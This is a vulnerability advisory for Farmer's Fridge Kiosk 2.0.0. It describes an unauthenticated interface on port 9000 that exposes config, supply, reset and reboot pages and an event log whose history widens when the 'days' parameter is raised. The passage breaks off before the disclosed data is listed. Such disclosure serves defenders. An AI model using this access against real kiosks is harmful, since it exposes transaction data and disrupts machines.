Farmer's Fridge Kiosk 2.0.0 Unprotected Event Log Information Disclosure


Vendor: Farmer's Fridge
Product web page: http://www.farmersfridge.com
Affected version: 2.0.0

Summary: Donat think of the Farmeras Fridge kiosk as a vending machine.
Itas a veggie machine. And just as each salad is a culinary thing of
beauty, the kiosk is a work of art in its own right. Made from reclaimed
wood (provided by Modern Urban Woods of West Chicago) and even some
recycled materials, each one is unique and user-friendly.

Desc: The kiosk vending machine suffers from personally identifiable
information (PII) disclosure vulnerability. By default, the firmware
listens on port 9000/tcp as cslistener service using the Play Framework
to present some basic information about the system when visiting the
interface. The interface is accessed without any authentication system
in place. When visited, some server information is disclosed by default
and some XML pages for various config and supply information are disclosed,
including the ability to reset or reboot the kiosk. One of those options
is to show an 'event' type log history page containting  various status
of temperatures, supply count and transaction details. An attacker can
increase the number for the 'days' GET parameter to disclose even more
data back in history.

When visiting the root page of the interface the following kiosk information
is disclosed:
